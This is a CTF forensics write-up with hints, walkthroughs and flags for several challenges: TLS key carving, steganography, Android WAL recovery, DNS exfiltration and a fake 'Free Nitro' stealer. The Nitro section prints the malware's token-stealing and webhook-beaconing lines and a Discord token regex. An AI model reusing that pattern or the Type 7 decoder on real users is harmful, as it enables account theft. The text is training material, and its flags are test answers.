This page covers 14 advanced forensics challenges.
Each challenge has progressive hints and a hidden flag, so you can try it yourself before
reading the walkthrough.
Purpose of the wave
Wave 3 treats each artifact as part of a system rather than an isolated file. The player may
need volatile memory to decrypt a packet capture, event logs to explain a disk artifact, a
mobile preference file to unlock appended data, or protocol knowledge to reconstruct a signal.
The difficult step is deciding which evidence source supplies the missing state.
These challenges deliberately cross boundaries between forensics, reverse engineering,
cryptography, networking, cloud logging, and hardware. The cryptographic algorithms are not
usually broken; the weakness is in key handling, nonce reuse, predictable state, exposed
runtime material, or incorrect assumptions about what an identifier guarantees.
Advanced investigation workflow
- Build an evidence map before extracting everything: processes, files, connections, users,
timestamps, identifiers, and possible keys. - Identify the boundary where information disappears. TLS hides application data but memory
may retain secrets; a database hides deleted rows but its WAL may retain pages; a tensor
hides an image because the numeric representation is wrong. - Recover the smallest missing primitive first—a client random, AES key, IV, sequence index,
password fragment, or byte order—and use it to unlock the next layer. - Automate repetitive searches with bounded assumptions and log every candidate tested.
- Corroborate the result across sources. A timestamp, hostname, process, or request should
agree with the surrounding incident rather than merely produce readable output.
Core tools and evidence types
| Evidence | Typical tools | Key question |
|---|---|---|
| Memory and process state | Volatility 3, strings, PE/.NET tooling |
What existed only while the program was running? |
| Network traffic | Wireshark, tshark, Python, PyCryptodome |
Which session metadata or key material makes the payload readable? |
| Windows and endpoint triage | Event logs, MFT/USN tools, browser/app parsers | What sequence of execution and persistence created the artifacts? |
| Cloud and mobile records | jq, SQLite, plist/XML inspection |
How do identities and timestamps correlate across platforms? |
| Signals and numeric data | PulseView, sigrok, NumPy | What representation turns samples into structured information? |
Toolkit
| Tool | Install | Used in |
|---|---|---|
| Volatility 3 | pip install volatility3 |
Ephemeral, Two Keys |
Wireshark / tshark |
apt install wireshark tshark |
Ephemeral, Key Recovery, Silent Exfil, Steady Pulse: Revenge |
| Eric Zimmerman's tools (MFTECmd, EvtxECmd) | download, Windows/.NET | Timestomped, Nitro |
| dnSpyEx / ILSpy | download | Ephemeral, Two Keys |
| scdbg | download (Windows) | Two Keys |
| zsteg, steghide | gem install zsteg, apt install steghide |
Dead Drop, Silent Exfil |
| bkcrack | release binaries | Zip It |
| Cisco Packet Tracer | Cisco Networking Academy | Blind Spot |
| jq, sqlite3, openssl | apt install jq sqlite3 openssl | Trailhead, Signal Lost |
| Python 3 + NumPy, Pillow, PyCryptodome | pip install numpy pillow pycryptodome | Ghost in the GPU, Ephemeral |
Challenge catalog
| Challenge | Points | Files | Focus |
|---|---|---|---|
| Blind Spot | 700 | blind-spot.pka |
forensics, network |
| Dead Drop | 700 | harbor.jpg, market.png |
chained steganography, cryptography |
| Ephemeral | 1000 | capture.pcap, memory.raw.gz |
forensics, network, reverse |
| Ghost in the GPU | 1000 | vram_dump.bin |
entropy analysis, FP16 tensors |
| Key Recovery | 1000 | agent.core, traffic.pcapng |
memory forensics, TLS key recovery |
| Nitro | 1000 | DESKTOP-7K2X9QP_triage.zip |
endpoint triage, event logs, reverse engineering |
| Signal Lost | 1000 | android_extraction.zip |
Android artifacts, SQLite WAL, cryptography |
| Silent Exfil | 1000 | exfil.pcapng |
DNS tunneling, steganography, XOR |
| Steady Pulse: Revenge | 1000 | traffic.pcap |
forensics, network |
| Timestomped | 1000 | timestomp_triage.zip |
NTFS timestamps, USN journal, Amcache |
| Trailhead | 1000 | cloudtrail.json, entra_signins.json, s3_access.log |
cloud logs, identity correlation |
| Two Keys | 1000 | mem.raw (RAM image) |
forensics, memory forensics |
| Zip It | 700 | evidence.zip, securinets.jpg |
ZipCrypto, known-plaintext attack |
Blind Spot
Points: 700 points · Provided: blind-spot.pka
The SOC swears an operator logs into the core box every shift, but the sensor between the office LAN and the core has never once recorded that session. Something on the edge is eating the traffic before it ever gets there.
Hint 1
Read R-EDGE's config. Two separate problems stop the Telnet session from reaching the core.
Hint 2
R-CORE is locked, but R-EDGE's vty password is stored as Cisco Type 7. How strong is Type 7?
What it targets
| Skill | Why it matters |
|---|---|
| Reading and repairing an IOS fault chain | A routing black hole plus a misapplied ACL is a realistic "traffic vanishes" incident. |
| Reversing Cisco Type 7 | Type 7 is obfuscation, not encryption; any config leak exposes these passwords. |
| Proving Telnet is cleartext | Simulation-mode PDU inspection shows credentials and output on the wire. |
The activity opens in Cisco Packet Tracer.
Walkthrough
1. Diagnose why the operator's Telnet never reaches the core
From PC-Admin, telnet 172.16.0.1 fails. Open R-EDGE (the only router you can touch)
and read its config. There are two faults:
- No route toward
172.16.0.0/16, so packets to the core loopback are black-holed. ip access-list extended BLOCK_MGMTsilently dropstcp … host 172.16.0.1 eq 23.
2. Fix the edge
R-EDGE(config)# ip route 172.16.0.0 255.255.0.0 10.0.0.2
R-EDGE(config)# ip access-list extended BLOCK_MGMT
R-EDGE(config-ext-nacl)# no deny tcp 192.168.10.0 0.0.0.255 host 172.16.0.1 eq 23
Now telnet 172.16.0.1 from PC-Admin gets a login prompt.
3. Recover the core's vty password
R-CORE is locked, so you can't read its config. But R-EDGE reuses the same password: its
own line vty carries password 7 08021C5C0C38011A43053453. Cisco Type 7 is a
reversible XOR against a fixed, public key string. The first two digits are the starting
offset into that key:
XLAT = b"dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;fg87"
def type7_decode(h):
seed = int(h[:2])
return "".join(chr(int(h[i:i+2], 16) ^ XLAT[(seed + i // 2 - 1) % len(XLAT)])
for i in range(2, len(h), 2))
print(type7_decode("08021C5C0C38011A43053453")) # C0reAdm1nX7
4. Get in and read it
Telnet from PC-Admin to 172.16.0.1 and log in with C0reAdm1nX7. The vty runs at
privilege 15, so you land in enable mode (R-CORE#). Run show running-config; the flag
is the description on Loopback0.
5. The capture angle
In Simulation mode, the whole Telnet exchange crosses the wire in cleartext, including
the password and the show run output with the flag. You can see it in the PDU inspector,
which is why Telnet should be replaced with SSH.
Show flag
Securinets{t3ln3t_cl34rt3xt_0v3r_th3_c0r3}
Dead Drop
Points: 700 points · Provided: harbor.jpg, market.png
Two people who "only ever swapped holiday photos" are under suspicion. We pulled two images from the exchange. Nothing in the pictures looks unusual — but nothing usually does.
Hint 1
Two formats, two techniques. Which stego tool works on PNG, and which on JPEG?
Hint 2
What zsteg finds in the PNG isn't the flag. It's a passphrase for something else.
What it targets
A stego chain: one carrier hides the key to the next. Two images, two different
techniques, and the output of the first is the input to the second. It also teaches that
file format dictates tool — zsteg reads PNG/BMP, steghide takes JPEG/BMP/WAV — so
the formats themselves tell you which tool to point where.
| Skill | Why it matters outside the CTF |
|---|---|
LSB extraction with zsteg on lossless images |
The first thing you run on any suspect PNG/BMP |
Reading zsteg's channel notation (b1,rgb,lsb,xy) |
Distinguishing a real payload from bit-plane noise |
steghide extract with a passphrase |
The most common password-protected image stego |
| Matching technique to format | Stops players running the wrong tool on the wrong file |
| Not stopping at the first find | The chain punishes tunnel vision |
Walkthrough
1. Triage both images
file market.png harbor.jpg
A PNG and a JPEG. Format matters: PNG is lossless (LSB stego survives, zsteg applies),
JPEG is lossy (LSB is destroyed by compression, so steghide's DCT-domain embedding is the
relevant technique). An experienced player already suspects zsteg→PNG, steghide→JPG.
2. LSB on the PNG
zsteg market.png
b1,rgb,lsb,xy .. text: "tr4d3_w1nds_2019"
Plain zsteg (no -a needed) surfaces it on the standard b1,rgb,lsb,xy channel — bit
plane 1, RGB channel order, LSB, row-major pixel scan. That is exactly how the passphrase
was embedded. zsteg -a shows it too, buried among noise from the other bit planes.
This looks like a passphrase, not a flag. The player has to realise it's a key for
something else.
3. The format steers you to the JPG
The natural next move — steghide extract -sf market.png — fails loudly:
steghide: the file format of the file "market.png" is not supported.
steghide doesn't do PNG. The only other file is harbor.jpg, which steghide does accept.
That failure is a guide rail, not a dead end.
4. steghide on the JPG with the recovered passphrase
steghide extract -sf harbor.jpg -p tr4d3_w1nds_2019
wrote extracted data to "secret.txt".
cat secret.txt
Meet at the usual place. Bring the manifest.
Securinets{tw0_st3g0s_0n3_ch41n}
The red herring
harbor.jpg carries EXIF:
GPS Latitude : 36 deg 51' 10" N
GPS Longitude : 10 deg 19' 24" E (Carthage ruins, Tunis)
Camera Model : Canon EOS 200D
Date/Time : 2019:06:14 17:42:08
Artist : pulgaa
exiftool harbor.jpg is the first thing many players run on a JPEG, so they find the GPS
immediately. It points at a real landmark and leads nowhere — a plausible time sink that
rewards the habit of "check EXIF first" with a dead end, teaching that metadata is not the
same as payload. The camera/date fields also make the photo read as a genuine 2019 holiday
snap rather than a synthetic file.
The other zsteg bit-plane lines (b2,*, b3,* noise like "z,''''''") are incidental
distractors — real LSB-analysis clutter that a player must learn to see past to find the one
clean b1,rgb,lsb,xy line.
Alternative paths that legitimately work
zsteg -a market.png(exhaustive) instead of the default scan — same result, more noise.stegsolve/ manual bit-plane inspection to read the LSB text visually. Valid, slower.- Running
steghide extractonharbor.jpgwith a wrong guess first — it fails
cleanly (could not extract any data with that passphrase), which confirms the passphrase
must come from elsewhere. Good failure feedback, not a trap.
No brute force needed: the passphrase is handed over by the first stage.
Show flag
Securinets{tw0_st3g0s_0n3_ch41n}
Ephemeral
Points: 1000 points · Provided: capture.pcap, memory.raw.gz
An analyst's workstation pulled a file over an HTTPS session that looks like pure noise on the wire. The session used perfect forward secrecy, so the server's key would get you nowhere — but we imaged the machine's RAM the moment it happened, and keys that are never sent still have to live somewhere.
Hint 1
The session uses ECDHE, so the server's key wouldn't help. Where else do the session keys exist?
Hint 2
Search the memory image for NSS key-log lines (CLIENT_RANDOM), load them into Wireshark, and export what was downloaded.
What it targets
| Skill | Why it matters |
|---|---|
| TLS keylog decryption in Wireshark | An ECDHE session (PFS) is still readable if you have the keys. |
| Carving secrets from a memory dump | SSLKEYLOGFILE contents live in the browser's RAM. |
| HTTP object export | Recovering a transferred file from a decrypted stream. |
| .NET decompilation (dnSpy / ILSpy) | Reading real IL, not pseudocode. |
| Reversing a home-rolled KDF + AES | base64+reverse → XOR schedule → rotate → SHA-256 → AES-256-CBC. |
The whole point: PFS protects the wire, not the endpoint. The keys were never
transmitted, but they were sitting in the process that held them.
The artifacts are inert: the flag never crosses the wire in cleartext, and the .exe will
not print it without reversing the key derivation.
Walkthrough
1. Look at the capture
capture.pcap has some background browsing noise plus one TLS conversation to10.10.10.10:8443. Wireshark shows a TLS 1.2 handshake (ClientHello SNI =cdn.appstore-eu.net, cipher ECDHE-RSA-AES128-GCM-SHA256) then encrypted application
data. No plaintext — and ECDHE means the server key alone wouldn't help even if you had it.
(Two base64 blobs in the noise decode to Securinets{...} decoys — ignore them.)
2. Recover the keys from RAM
gunzip memory.raw.gz → a ~2 GB raw Windows 10 physical memory image. Confirm it parses:
vol -f memory.raw windows.info # Win10 19045, 64-bit
The workstation's TLS keys were written to an SSLKEYLOGFILE, and that file is sitting in
the file cache. Carve it with Volatility 3:
vol -f memory.raw windows.filescan | grep -i sslkeys # find the file object
vol -f memory.raw windows.dumpfiles --pid <downloader_pid> # or dump by pid
# -> file.*.sslkeys.log.dat contains: CLIENT_RANDOM <64 hex> <96 hex>
vol windows.pslist shows the downloader process (here python.exe). strings memory.raw | grep CLIENT_RANDOM also works — the keylog line is in both the cache and the process heap.
Save the CLIENT_RANDOM … line to keys.log (NSS key-log format).
3. Decrypt and export
Wireshark → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename →keys.log, reload. The stream decrypts. File → Export Objects → HTTP shows a
download of LicenseCheck.exe. Save it — it's a .NET assembly (MZ, CLR BSJB metadata).
The exe is also sitting in the memory image's file cache, so you can carve it straight
out with Volatility instead of exporting from the pcap:
vol -f memory.raw windows.filescan | grep -i LicenseCheck # -> \Users\bayrem\Downloads\LicenseCheck.exe @ <offset>
vol -f memory.raw windows.dumpfiles --virtaddr <offset> # -> ...LicenseCheck.exe.dat (MZ; trim the page padding)
Either way you get a byte-identical .NET binary.
4. Reverse the derivation
Open LicenseCheck.exe in dnSpy/ILSpy. Main always calls Unseal() but only prints
the result when SHA256(arg[0]) matches a stored hash — so just running it prints
"Invalid or missing activation key." The interesting part is DeriveKey():
seed = FromBase64(Reverse(S))— reverse the embedded stringS, then base64-decode → 32 bytes.seed[i] ^= (i*0x1F + 0xA5) & 0xFF— positional XOR schedule.- rotate the array left by 5:
r[i] = seed[(i+5) % 32]. key = SHA256(r)(32 bytes → AES-256).
Unseal() then AES-256-CBC-decrypts the embedded Blob with the embedded IV.
5. Reproduce it
Pull S, Blob, IV from the decompiled source and run the four steps offline:
import base64, hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
seed = base64.b64decode(S[::-1])
seed = bytes((seed[i] ^ ((i*0x1F+0xA5)&0xFF)) for i in range(32))
r = bytes(seed[(i+5)%32] for i in range(32))
key = hashlib.sha256(r).digest()
print(unpad(AES.new(key, AES.MODE_CBC, IV).decrypt(Blob), 16).decode())
# Securinets{r3v3rs3_th3_kdf_n0t_th3_tls}
(Or, having reversed the gate, run LicenseCheck.exe SEC-2026-DFIR-PRO → prints the flag.)
Summary
- Traffic: TLS 1.2,
ECDHE-RSA-AES128-GCM-SHA256,10.10.10.10:8443(SNIcdn.appstore-eu.net). - Keys: The
CLIENT_RANDOM …NSS key-log line, carved frommemory.rawwithwindows.dumpfiles(the cachedsslkeys.log) orstrings, loaded as the TLS keylog. - Download:
LicenseCheck.exe, a .NET console assembly. - Derivation: reverse+base64 → positional XOR (
i*0x1F+0xA5) → rotate-left 5 → SHA-256 → AES-256-CBC.
Further reading: decrypting TLS in Wireshark with a key log.
Show flag
Securinets{r3v3rs3_th3_kdf_n0t_th3_tls}
Ghost in the GPU
Points: 1000 points · Provided: vram_dump.bin
An ML inference job crashed on a GPU box and left a raw VRAM capture. The accelerator was scrubbed before anyone could image it properly — but this memory dump survived.
Hint 1
Nothing carves. Run an entropy sweep: where does the randomness drop?
Hint 2
0x3C00 and 0xBC00 are +1.0 and -1.0 in IEEE-754 half precision. Trust the shape in the metadata.
What it targets
There is nothing to carve — no magic bytes, no container, just device memory. The skill is
recognizing a numeric dtype from its raw byte pattern and reasoning about tensor layout.
It's strings/binwalk-proof by construction.
| Skill | Why it matters |
|---|---|
| Entropy sweep to find planted data in noise | The whole file is CSPRNG noise; the signal is the low-entropy region |
| Recognizing IEEE-754 half-precision (fp16) from bytes | 0x3C00/0xBC00 = +1.0/-1.0 — invisible unless you try fp16 |
| Tensor layout reasoning (NCHW, shape) | The metadata says (1,3,512,512); the element count baits a wrong 2D reshape |
Walkthrough
1. Nothing carves
file vram_dump.bin → data. binwalk yields only coincidental false-positives in the noise.
Accept that there's no container.
2. Entropy sweep
Slide a 1 KB window; almost everything is ~7.99 bits/byte (random). Two regions collapse:
0x00100000 1 KB ent ≈ 1.6 <- metadata blob (ASCII)
0x00900000 1.5 MB ent ≈ 1.1 <- the payload (only bytes 0x00 / 0x3C / 0xBC)
3. Read the metadata, recognize the dtype
The 1 KB blob is a runtime tensor header:
{"framework":"onnxruntime-gpu","node":"decoder/conv_out/Tanh",
"tensor_shape":[1,3,512,512],"dtype":"float16","layout":"NCHW", ...}
The 1.5 MB region hexdumps as 00 3c 00 3c ... 00 bc 00 bc — little-endian half-words0x3C00 and 0xBC00. Those are fp16 +1.0 and -1.0. It's a normalized (Tanh-output)
activation tensor, not an image buffer.
4. Reshape and render
import numpy as np; from PIL import Image
d = open("vram_dump.bin","rb").read()
t = np.frombuffer(d[0x900000:0x900000+1*3*512*512*2], np.float16).reshape(1,3,512,512)
plane = t[0,0] # NCHW -> channel 0
Image.fromarray(np.where(plane<=-0.5,0,255).astype("uint8")).save("flag.png")
-1.0 is the ink → the flag is drawn in a pixel font:
Securinets{fp16_t3ns0r_gh0st}
Trick & red herring
- Trick: no tool opens this — there is no format, only device memory holding an fp16 tensor.
You must recognize the dtype (0x3C00/0xBC00) and honour theNCHWlayout from the metadata. - Red herring: the element count
3·512·512 = 786432also factors as 1024×768 (a real display
resolution). Reshaping to1024×768renders the flag tiled — readable but obviously "not right",
which costs time before you take the metadata's(1,3,512,512)at face value.
Show flag
Securinets{fp16_t3ns0r_gh0st}
Key Recovery
Points: 1000 points · Provided: agent.core, traffic.pcapng
A sync agent on a workstation uploaded a confidential export to an outside host over TLS 1.3. We captured the traffic, but it's encrypted end to end. Before the process was killed we grabbed a dump of it.
Hint 1
TLS 1.3 can be decrypted with the right secrets. What might a process dump still hold?
Hint 2
Grep the core for TRAFFIC_SECRET lines and match their client random to a ClientHello.
What it targets
TLS is only as private as its endpoints' memory. A capture with no keys looks hopeless —
but if you have a dump of a process that held the TLS secrets, you can rebuild an NSS keylog
and decrypt everything. This is exactly how analysts decrypt malware C2 when they have a
memory image.
| Skill | Why it matters outside the CTF |
|---|---|
| Recognising undecryptable TLS 1.3 in a pcap | Knowing when you need out-of-band key material |
Carving CLIENT_TRAFFIC_SECRET_0 etc. from a memory dump |
The core technique for memory-assisted TLS decryption |
Building an NSS keylog + Wireshark tls.keylog_file |
The standard decryption workflow |
| Pairing keys to the right session via ClientHello random | Isolating one session when a dump holds several / when there are decoys |
Reading an ELF process core (strings/gdb) |
Everyday memory forensics |
Walkthrough
1. See that the traffic is TLS 1.3 and opaque
tshark -r traffic.pcapng -Y 'tls.handshake.type==1' -T fields -e tls.handshake.random
Seven TLS sessions (a sync agent chatting to a CDN-looking host). All application data is
encrypted; there's nothing to read yet. Note there are many sessions — you'll need to
find the one that matters.
2. Realise the keys might be in the dump
agent.core is a memory dump of the process that made these connections. TLS libraries that
honour SSLKEYLOGFILE format their secrets as NSS keylog lines
(CLIENT_TRAFFIC_SECRET_0 <client_random> <secret>), and those strings can linger in the
heap. Carve them:
strings agent.core | grep -E 'TRAFFIC_SECRET|EXPORTER_SECRET' | sort -u > keylog.txt
(or grep -aoE '(CLIENT|SERVER)_(HANDSHAKE_)?TRAFFIC_SECRET_0 [0-9a-f]{64} [0-9a-f]+' agent.core)
You get the client/server application-traffic secrets (and exporter) for oneclient_random.
3. Match the key to the right session
The client_random in the recovered keylog matches exactly one ClientHello in the pcap —
the real exfil session. The other six have no keys in the dump (see red herring).
4. Decrypt
tshark -r traffic.pcapng -o tls.keylog_file:keylog.txt -Y 'http.request.method=="POST"' \
-T fields -e http.file_data | xxd -r -p
or in Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename →keylog.txt, then Follow HTTP Stream.
AGILOGIX INTERNAL - VAULT EXPORT (CONFIDENTIAL)
...
Securinets{tls_k3ys_l1v3_1n_m3m0ry}
Only the CLIENT_TRAFFIC_SECRET_0 / SERVER_TRAFFIC_SECRET_0 pair is needed to decrypt the
application data (the POST body); the handshake secrets aren't required for the flag.
The red herring
Six of the seven sessions are undecryptable. The dump holds keys for only the real exfil
session; the others (benign "noise" lookups to cdn1/api/static/img/telemetry/assets. softsync-cdn.net, plus one decoy POST) have no matching secrets. A player who tries to
decrypt the wrong session — or assumes all sessions share keys — wastes time. The
discriminator is the client_random: match the keylog's random to the ClientHello, then
decrypt that stream. This mirrors real captures where a dump yields keys for one process/one
connection out of many.
Alternative paths that legitimately work
- Wireshark GUI end-to-end (set keylog file, Follow HTTP Stream on the decrypted session).
gdb agent.core+find/stringsto locate the secrets, same result.- Volatility on the core (overkill, but valid) to enumerate strings/heap.
- Carving with a broader regex and letting Wireshark ignore the non-matching lines.
The keys are present in the dump in a documented format, so no guessing is needed.
Further reading: decrypting TLS in Wireshark with a key log.
Show flag
Securinets{tls_k3ys_l1v3_1n_m3m0ry}
Nitro
Points: 1000 points · Provided: DESKTOP-7K2X9QP_triage.zip
An Agilogix employee got a DM on Discord offering free Nitro. A day later his workstation
DESKTOP-7K2X9QPwas pulled for review — his Discord account was hijacked and something on the box had been beaconing out.
Hint 1
Start with PowerShell script-block logging (event ID 4104). What ran?
Hint 2
The second half of the flag is XORed with a key derived from something the malware stole. Find the Discord token.
What it targets
Reconstruct an intrusion from a triage collection with no pointers: pivot from execution
evidence (PowerShell script-block logging) to the dropped file, deobfuscate it, recover the
Discord token from Local Storage, carve the social-engineering lures from the Discord cache — and
realise the flag's second half needs the stolen token.
| Skill | Where |
|---|---|
| PowerShell script-block logging (EID 4104) | Microsoft-Windows-PowerShell%4Operational.evtx — the deobfuscated stage-2 in cleartext |
| Process-creation / console history | Security.evtx (4688), ConsoleHost_history.txt |
Peeling base64 → gzip → XOR PowerShell |
Downloads\FreeNitroGen.ps1 |
Discord token from Local Storage\leveldb |
regex over the leveldb files |
| Carving lures from a Chromium Simple-Cache | discord\Cache\Cache_Data\f_* (binwalk/photorec) |
Zone.Identifier Mark-of-the-Web |
proves the CDN origin |
Walkthrough
1. What ran — the event logs
Parse Microsoft-Windows-PowerShell%4Operational.evtx (EvtxECmd / Windows Event Viewer). The
4104 script-block events contain a self-decoding script FreeNitroGen.ps1 and the
deobfuscated stage-2 it Invoke-Expression'd:
$lp = "$env:APPDATA\discord\Local Storage\leveldb" # reads the Discord token
Invoke-RestMethod ... discord.com/api/webhooks/... # beacons it out
# reward_a = Securinets{n1tr0_g3n_w4s_f4k3 <- part A
$blob = FromBase64String("4mXsS8mrvI4l0BV2Gkmk") # part B, locked to the token
Security.evtx (4688) and ConsoleHost_history.txt corroborate bayrem running it from Downloads.
(Or skip the logs and deobfuscate Downloads\FreeNitroGen.ps1 by hand: base64 → gunzip → XOR "nitr0".)
2. Where it came from — Mark-of-the-Web
Downloads\FreeNitroGen.ps1.Zone.Identifier →HostUrl=https://cdn.discordapp.com/attachments/.../FreeNitroGen.ps1.
3. The con — carve the Discord cache
AppData\Roaming\discord\Cache\Cache_Data\f_0000* are Simple-Cache entries keyed bycdn.discordapp.com/attachments/.../*.png (visible with strings); carve the bodies
(binwalk -e / photorec) → three lure PNGs: fake "Nitro gift", "how to claim", "download +
run as admin" from zyzz.
4. The token — leveldb
grep -rhoaE '[A-Za-z0-9_-]{24,26}\.[A-Za-z0-9_-]{6}\.[A-Za-z0-9_-]{27,38}' \
"AppData/Roaming/discord/Local Storage/leveldb/"
→ MzI1NjE0OTU4MDEyMzQ1Njc4.Gk2xQp.9fW3rT5yH8jK-bN0pL4mZ7sV2cX1qA
5. Finish it — part B needs the token
import base64, hashlib
token = "MzI1NjE0OTU4MDEyMzQ1Njc4.Gk2xQp.9fW3rT5yH8jK-bN0pL4mZ7sV2cX1qA"
blob = base64.b64decode("4mXsS8mrvI4l0BV2Gkmk")
k = hashlib.sha256(token.encode()).digest()
print(bytes(b ^ k[i] for i, b in enumerate(blob)).decode()) # st34l_th3_t0k3n
Securinets{n1tr0_g3n_w4s_f4k3_st34l_th3_t0k3n}
Trick & red herrings
- Trick: the flag can't be finished from the malware alone — partB is bound to the recovered
Discord token, forcing both the app-artifact recovery and the RE. - Red herrings: Downloads also holds benign installers (
7z,putty,Q3_report.zip) from the
seeded history; the webhook URL and "run as admin" pressure are period detail, not the key.
Show flag
Securinets{n1tr0_g3n_w4s_f4k3_st34l_th3_t0k3n}
Signal Lost
Points: 1000 points · Provided: android_extraction.zip
We seized a phone. The suspect wiped the relevant conversation inside the messenger app before we got to it — but a filesystem extraction was taken.
Hint 1
The messenger database is in WAL mode. What does a copy of the main DB show without its -wal?
Hint 2
The referenced image won't open: check its first bytes, then look past its end marker. The app's settings hold what you need next.
What it targets
Three different "it's gone / it's hidden" mechanisms in one realistic mobile artifact, and
the discipline that mobile forensics actually demands.
| Skill | Why it matters outside the CTF |
|---|---|
SQLite WAL internals: uncheckpointed changes live in -wal, not the main DB |
The #1 source of "deleted" chat messages on modern phones |
| Evidence preservation — never open the original with a writing tool | The single most common way analysts destroy their own evidence |
| Repairing file magic bytes / spotting a wrong extension | Recovering renamed or partially-wiped media |
| Appended-data carving after a container's real end marker | Classic file-in-file stego |
Pulling secrets from Android shared_prefs XML |
Where apps really keep tokens/pins |
Walkthrough
1. SQLite WAL — recover the wiped message
The chat thread in databases/msgstore.db looks clean when opened normally, because the app
is in WAL mode and the deletion was committed to the -wal but never checkpointed into
the main database. Opening the DB the ordinary way replays the WAL → the row stays hidden.
The move: set the -wal (and -shm) aside and open the main file alone. With no WAL to
replay, SQLite shows the last checkpointed state — which still contains the deleted row.
cp databases/msgstore.db recovery.db # main file ONLY - no -wal, no -shm
sqlite3 recovery.db "SELECT sender, body, media_name FROM message WHERE media_name IS NOT NULL;"
pulgaa|IMG-20190614-WA0007.jpg - the pin is saved in the app settings like always|IMG-20190614-WA0007.jpg
Two things fall out: the filename IMG-20190614-WA0007.jpg, and the hint that the
pin is in the app settings (→ shared_prefs).
Preserve first. Opening the original
msgstore.dbin a GUI such as DB Browser can
checkpoint the WAL, which writes the deletion into the main file and destroys the row for
good. Always work on copies. This is the core mobile-forensics lesson, and it's easy to
trip over.
2. The referenced file won't open
file Media/IMG-20190614-WA0007.jpg
Media/IMG-20190614-WA0007.jpg: data # not a JPEG at all
xxd Media/IMG-20190614-WA0007.jpg | head -2
00000000: 0000 0000 0000 0000 0000 000d 4948 4452 ............IHDR
00000010: 0000 01bf 0000 01bf 0802 0000 0047 714e .............GqN
The .jpg name is a lie, and the first 8 bytes are zeroed — but IHDR at offset 12 is the
PNG header chunk. This is a PNG with a destroyed signature. Restore the 8 magic bytes:
printf '\x89PNG\r\n\x1a\n' | dd of=Media/IMG-20190614-WA0007.jpg bs=1 count=8 conv=notrunc
file Media/IMG-20190614-WA0007.jpg
PNG image data, 447 x 447, 8-bit/color RGB, non-interlaced # opens now
3. Appended blob → decrypt with the prefs pin
The repaired PNG has extra data after its IEND end-of-image chunk. Carve it:
python3 -c "d=open('Media/IMG-20190614-WA0007.jpg','rb').read(); i=d.rfind(b'IEND')+8; open('blob.enc','wb').write(d[i:])"
xxd blob.enc | head -1 # 'Salted__' -> OpenSSL encryption
The pin and cipher come from shared_prefs:
grep -oP '(media_vault_pin|backup_cipher)">\K[^<]+' shared_prefs/com.agilogix.messenger_preferences.xml
# 4471-vault / aes-256-cbc
openssl enc -d -aes-256-cbc -pbkdf2 -in blob.enc -pass pass:4471-vault
Securinets{wal_r3wind_m4g1c_by73s_st3g0}
(binwalk/foremost also flag the Salted__ trailer, so carving has more than one route.)
The red herring
Media/IMG-20190612-WA0003.jpg is a valid PNG (mislabeled .jpg) that opens
immediately — unlike the real target, which is broken. A player who lists the media folder
and opens the one that works sees a legitimate-looking image with nothing appended
(zero bytes after IEND) and no connection to the recovered filename. It's the "thumbnail
cache" decoy: the working file is the trap, the broken file is the goal.
Alternative paths that legitimately work
- Stage 1 via
strings/carving: the deleted row's bytes persist as an unallocated cell
in the main DB page, sostrings msgstore.db | grep IMG-finds the filename without WAL
reasoning. A legitimate pragmatic route; the WAL method is the "clean" one. (Only works on
a preserved copy — a checkpointed file may overwrite the free cell.) - Stage 1 via a WAL parser (
sqlite3_analyzer,walitean, manual frame parsing) —
reads the deletion out of the-waldirectly. - Stage 3 via
binwalk -e— extracts theSalted__blob automatically.
No guessing: the pin is handed over by shared_prefs, the cipher is named there too.
Show flag
Securinets{wal_r3wind_m4g1c_by73s_st3g0}
Silent Exfil
Points: 1000 points · Provided: exfil.pcapng
Data left this network without a single file transfer showing up in the logs. All we have is a packet capture from the segment. Whatever was taken, it went out quietly.
Hint 1
The exfil queries are numbered. Is capture order the same as data order?
Hint 2
The reassembled file is an image with more hidden inside it, and the key is in a different DNS record type.
What it targets
DNS tunneling with real-world friction (reordering) plus a stego+crypto tail. Teaches that
reassembly order matters, that carved blobs can carry more (stego), and that keys are often
hiding in the same capture (the TXT record).
| Skill | Why it matters |
|---|---|
| DNS-exfil reassembly with a sequence field | Real tunnels reorder; capture order ≠ data order |
| base32 decoding to a file | Common DNS-safe encoding |
LSB extraction (zsteg) |
Recovering a payload from a carved image |
| Finding a key in a TXT record | Keys frequently ship alongside the data |
| Chaining stages | Each output is the next input |
Walkthrough
Stage 1 — reassemble the DNS exfil (in order)
Filter the exfil queries (many NNN.<BASE32>.sync.datasync-cdn.net under one domain, amid
benign DNS/HTTP/ARP noise). They're out of order — each label starts with a 3-digit
sequence number.
tshark -r exfil.pcapng -Y 'dns.flags.response==0 && dns.qry.name contains "sync.datasync-cdn.net"' \
-T fields -e dns.qry.name | sort -u | grep -E '^[0-9]{3}\.' \
| sort -n -t. -k1 | sed -E 's/^[0-9]+\.([A-Z2-7]+)\..*/\1/' | tr -d '\n' > b32.txt
python3 -c "import base64;s=open('b32.txt').read().strip();s+='='*((8-len(s)%8)%8);open('out.png','wb').write(base64.b32decode(s))"
file out.png # -> PNG image data, 64 x 16
The trick: reassembling in capture order (not sorted by the seq prefix) yields bytes
that are not a valid PNG — so a naive "concatenate everything" fails. Sorting by the
leading number is mandatory.
Stage 2 — LSB-extract the ciphertext
zsteg -E b1,rgb,lsb,xy out.png > lsb.bin
The payload is [2-byte length][ciphertext]: read the length, then take that many bytes.
Stage 3 — the key is in a TXT record
tshark -r exfil.pcapng -Y dns.txt -T fields -e dns.txt # -> tr41lw1nd
XOR the ciphertext with the key, repeating the key. Trying both byte orders for the length
prefix avoids guessing it:
lsb, key = open("lsb.bin", "rb").read(), b"tr41lw1nd"
for order in ("big", "little"):
n = int.from_bytes(lsb[:2], order)
pt = bytes(c ^ key[i % len(key)] for i, c in enumerate(lsb[2:2 + n]))
if pt.startswith(b"Securinets{"):
print(pt.decode())
Securinets{0rd3r_th3n_st3g0_th3n_x0r}
The red herrings / friction
- Out-of-order chunks — the central trick; capture order produces a corrupt, non-PNG blob.
- Benign DNS/HTTP noise — pool.ntp.org, jsdelivr, etc., plus ARP/ICMP background, so the
exfil must be isolated by its distinctivesync.datasync-cdn.netparent +NNN.prefix.
Alternative paths
- Do it all in Python/CyberChef (extract names → sort → base32 → PNG → LSB → XOR).
stegsolvefor the LSB plane instead ofzsteg.- Any base32 tolerance for padding (strip/re-add
=).
No guessing — sequence numbers give the order, the TXT record gives the key.
